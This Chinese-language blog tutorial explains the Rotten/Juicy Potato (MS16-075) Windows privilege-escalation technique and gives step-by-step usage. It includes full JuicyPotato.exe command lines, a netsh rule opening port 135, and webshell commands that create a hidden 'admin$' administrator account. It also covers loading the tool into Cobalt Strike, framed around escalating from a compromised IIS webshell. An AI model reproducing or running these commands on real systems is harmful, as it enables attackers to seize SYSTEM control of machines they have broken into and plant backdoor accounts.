0x00 Potato(烂土豆)提权的原理:

所谓的烂土豆提权就是俗称的MS16-075

可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。

一、简单的原理:

攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机!

Microsoft通过使用已经进行的质询来禁止同协议NTLM身份验证来对此进行修补。这意味着从一个主机回到自身的SMB-> SMB NTLM中继将不再起作用。但是,跨协议攻击(例如HTTP-> SMB)仍然可以正常使用!

二、我的理解流程:

1、所以我们控制HTTP流量大概都流经我们控制的HTTP服务器,做中介人攻击。

2、可以诱导系统高权用户执行一些操作,例如将它们重定向到需要NTLM身份验证的地方。所有NTLM凭据都将中继到本地SMB侦听器,以创建运行用户定义的命令的新系统服务,例如是Windows Update服务的请求时,就会是一个高权令牌,劫持掉这个令牌

3、最后模仿这个高权令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌

0x01 使用方法


1、查看当前用户权限,是否符合要求

whoami /all 
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

如果均开启,可以选择-t *

如果均未开启,那么无法提权

例子

image-20200518132552127

2、查看RPC默认端口是否为135

如果被修改(例如为111),juicypotato的参数可以使用-n 111

如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:

找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k

例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录

添加防火墙规则允许135端口入站的命令如下:

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

3、根据操作系统选择可用的CLSID

参考列表

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

例如测试系统win7 ,选择CLSID为 {555F3418-D99E-4E51-800A-6E89CFD8B1D7}

4、选择一个系统未占用的端口作为监听端口

例如,最终参数如下:

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

表示开启SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}

image-20200518134946085

之后会弹出CMD命令行

image-20200518135616269

0x02 限制条件


经过以上的分析,Juicy Potato的限制条件如下:

  • 需要支持SeImpersonate或者SeAssignPrimaryToken权限
  • 开启DCOM
  • 本地支持RPC或者远程服务器支持PRC并能成功登录
  • 能够找到可用的COM对象

一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,这些都可以whoami /priv 试一下看看有没有模仿权限。

0x03 WEBSHELL版本

土司找到了大佬改写过的WebShell版烂土豆,上传到服务器后执行:

JuicyPotato.exe -p whoami

image-20200518134849944

提权成功,但蚁剑的WebShell里好像只能传一个参数?

# 将password替换为满足强度要求的密码,否则需要改组策略关闭密码强度检查
execute -f JuicyPotato.exe -p net user admin$ password
execute -f JuicyPotato.exe -p net localgroup administrators admin$ /add

0x04-在Cobaltstrike中使用Juicypotato提权

在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升

但是缺陷比较明显,只能使用默认的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权,如果想使用其他CLSID请参考命令行等执行方法

下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器–>load加载juicypotato.cna脚本

随后我们在提权模块即可发现多了一个JuicyPotato

0x05 烂土豆优点

​ 1.非常可靠,这种都比较稳定,基本上不肯能蓝屏掉线的。
​ 2.不用需要等Windows更新,可以主动触发高权。
​ 3.多全版本通杀。

0x06 参考

https://www.t00ls.net/viewthread.php?tid=47362&highlight=potato

https://3gstudent.github.io/3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐